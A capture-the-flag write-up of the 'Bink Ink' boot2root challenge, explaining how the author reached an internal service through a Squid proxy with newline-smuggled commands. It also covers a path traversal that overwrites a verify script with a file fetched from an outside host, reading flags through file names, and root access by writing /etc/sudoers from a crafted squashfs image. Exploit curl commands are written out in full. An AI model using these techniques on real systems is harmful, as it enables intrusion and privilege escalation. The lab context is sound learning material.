Bink ink

Description

Difficulty: Medium
Author: Zopazz

Brunnerne Inc. is proud to release Bink Ink, a next-generation, hardware-accelerated L7 traffic mediation and content-distribution orchestration appliance built on a cloud-native, containerized microservices architecture leveraging enterprise-grade forward-proxy mediation and adaptive policy-enforcement heuristics for unparalleled full-stack visibility into east-west network flows across distributed edge topologies.

We invite the security research community to participate in our bug bounty program on a voluntary, unpaid basis. We believe the knowledge to be gained from testing a product from an industry-leader is worth more than any amount of money we would be able to pay. All vulnerability reports must be submitted exclusively through Brunnerne Inc.’s designated security contact, and thanks to our industry-leading, agile remediation pipeline we proudly maintain an average disclosure window of just three years - a turnaround we consider to be among the fastest in the enterprise space. No public disclosure is permitted prior to Brunnerne Inc.’s official release. Any individual disclosing vulnerabilities outside of this responsible disclosure process will be subject to legal action to the fullest extent of the law. We appreciate your participation and we trust you’re equally grateful for the opportunity.

User

Binky inky stinky Zopazz

We’re given a few files, and a single endpoint files

Boot2root with source! That’s a rare (But very welcome!) sight. The Dockerfile runs supervisord, which then runs bink_ink_update_tool.py (via socat), and squid (normally). For those of you that weren’t around when it was big, Squid is a proxy server, which iirc was quite common to run on coporate networks to cache common content (probably), lil’ fun fact!

Looking at bink_ink_update_tool.py, it has a standard path traversal in Download_file():

def download_file(path):
    try:
        parsed = urlparse(path)
        params = parse_qs(parsed.query)
        fw_name = params["firmware"][0]
    except Exception:
        print(f"Invalid URL or firmware name: {path}")
        return

    print(f"Fetching firmware file from {path}. Please waittt...")
    try:
        print(f"ok now with {path}")
        r = requests.get(path)
        print("after???")
    except Exception as e:
        print("maybe??")
        print(f"Failed to fetch firmware file with error: {e}. Aborting..")
        return
    print("doing fw_path!")
    fw_path = os.path.join(FIRMWARE_DOWNLOAD_PATH, fw_name)

Since we control fw_name. (Keeping my beautiful debug statements in there, nice part of sourceful boot2root is getting to actually debug exploits)

This was actually the most difficult part, and it’s a simpleish question: How the hell do i speak with the internal, TCP service, when there’s a HTTP proxy in front?

Squid can actually do TCP, but this is straight up disallowed in squid.conf

http_port 8000

acl CONNECT_method method CONNECT
http_access deny CONNECT_method

acl allowed_ports port 30000-50000

http_access allow allowed_ports
http_access deny all

My first “breakthrough” came from this curl command: curl -X help --proxy localhost:8000 0.0.0.0:30005 -d helphelp, which returned:

Bink ink update tool v1.0.5
Brought to you by Brunnerne Inc.
Write help for a list of commands
Available commands:
get          Fetch a firmware file from a local server or Brunnerne Inc. server
version      List the Bink ink firmware version
list         List already fetched firmware files (for verification and applying)
verify       Verify a firmware's integrity
apply        Apply a previously verified firmware (currently only available by contacting support)
license      print the software license of Bink ink
help         print this message
exit         exit this interface
Unrecognized command: host:, write help for a list of available commands
Unrecognized command: user-agent:, write help for a list of available commands
Unrecognized command: accept:, write help for a list of available commands
Unrecognized command: content-length:, write help for a list of available commands
Unrecognized command: content-type:, write help for a list of available commands
Unrecognized command: via:, write help for a list of available commands
Unrecognized command: x-forwarded-for:, write help for a list of available commands
Unrecognized command: cache-control:, write help for a list of available commands
Unrecognized command: connection:, write help for a list of available commands
Unrecognized command: , write help for a list of available commands

Woah, we’re hitting the service, AND we can give them a command in our request method! It makes sense, since HTTP sits on top of TCP, just with specific text and stuff, so, let’s have a closer look at how HTTP requests look (i spent waaaay too long in the rabbit hole of “maybe i just need to make a really weird http request):

POST /users HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

name=FirstName+LastName&email=bsmth%40example.com

So, its just text we’re giving. Headers need to be followwed with :, and also cannot have spaces, so they’re a non starter. ALL paths AUTOMATICALLY get /, so even with GET requests, it seemed impossible to add https://my-evil-page.com in there, as squid also rejects invalid http requests. Spent a lil’ time figuring out of we could abuse some quirks of urlparse(), but nope.

After lots of cussing, and moving from my work laptop to my actual desktop, I finally got a working payload!

curl --proxy https://bink-ink-user-2793af8608ffa2b7-danmark.challs.brunnerne.xyz:1337/ 0.0.0.0:30005 -d "get https://a.com/sploit.sh?firmware=hello.sh
hello"

So, all it took was a newline, which i didn’t test because i couldn’t figure out how to make a newline on mac, awesome, steve jobs owes me a few hours of my life back.

Alright, path traversal time!

curl --proxy https://bink-ink-user-2793af8608ffa2b7-danmark.challs.brunnerne.xyz:1337/ 0.0.0.0:30005 -d "get https://blabla.com/sploit.sh?firmware=../../../../../home/brunner_operator/bink_ink_verify.sh
hello"

You might notice in the above exploit, i overwrite bink_ink_verify.sh. This is because of this other command, verify:

def verify(firmware_file):
    print("in verify!")
    real_path = os.path.realpath(os.path.join(FIRMWARE_DOWNLOAD_PATH, firmware_file))
    if not real_path.startswith(FIRMWARE_DOWNLOAD_PATH) or not os.path.isfile(
        real_path
    ):
        print("Invalid path")
        return

    print("Verifying firmware, please wait..")

    ret = subprocess.run(["/home/brunner_operator/bink_ink_verify.sh", firmware_file])
    if ret.returncode != 0:
        print(f"verification failed of firmware file {firmware_file}")
        return

Running it! So now, if we do a lil:

curl --proxy https://bink-ink-user-2793af8608ffa2b7-danmark.challs.brunnerne.xyz:1337/ 0.0.0.0:30005 -d "verify /tmp/firmwares/hello.sh
hello"

(Before this, we need to actually create a firmware that exists, since it checks the path before running the script), and bada-bing, code execution!

I managed to forget that the container had python installed, so with no curl or wget, the only exfil method i found was… creating the flags as files in /tmp/firmwares (litterally touch /tmp/firmwares/$(cat flag.txt)), and then doing:

curl --proxy https://bink-ink-user-2793af8608ffa2b7-danmark.challs.brunnerne.xyz:1337/ 0.0.0.0:30005 -d "list /tmp/firmwares/hello.sh
hello"

to list all firmwares.

Root

Woo, User flag done, and root is next. The dockerfile has this one line, which is a dead giveaway of how to escalate: RUN echo "brunner_operator ALL=(root) NOPASSWD: /bin/bink_ink_apply.sh" >> /etc/sudoers, since this allows our user to run bink_ink_apply.sh as root! So, interesting bits:

TARBALL="$1"

if [ ! -f "$TARBALL" ]; then
    echo "Error: '$TARBALL' is not a file" >&2
    exit 1
fi

Takes a tarball as arg1,

echo "[*] Unpacking update into $WORKDIR"
tar -xf "$TARBALL" -C "$WORKDIR"

FIRMWARE="$WORKDIR/firmware.bin"

if [ ! -f "$FIRMWARE" ]; then
    echo "Error: update does not contain firmware.bin" >&2
    exit 1
fi

Unpacks, marks down firmware.bin

echo "[*] Verifying firmware signature"
if ! "sudo" "-u"  "$SUDO_USER"  "$VERIFY" "$TARBALL"; then
    echo "Error: firmware verification failed, aborting" >&2
    exit 1
fi

echo "[*] Verification succeeded, applying updated firmware to /"
unsquashfs -f -d / "$FIRMWARE"

Runs the bink_ink_verify.sh script (which we controls), but properly dropped down to our user (so no easy root here), and then extracts the squashfs filesystem we’ve provided in firmware.bin.

I won’t bore you with the boring details of constantly making an accidental infinite loop trying to call apply.sh from verify.sh, or infinite failed attempts at overwriting apply.sh with whatever I wanted to.

The final exploit was just creating a squashfs which contained /etc/sudoers, in which i put: brunner_operator ALL=(root) NOPASSWD: /usr/bin/cat, so i could touch /tmp/firmwares/$(sudo cat /root/flag_root.txt)

Conclusion

I ended up liking this challenge, despite lots of cussing in DMs with different people. Squid proxy did add a barrier from a lot of people, and I don’t think the challenge would’ve suffered from it not being there, but in the end, it being there meant the challenge was worth a lot more points on the Danish leaderboard, which led to us placing better, which led to my boss bringing Brunner to work.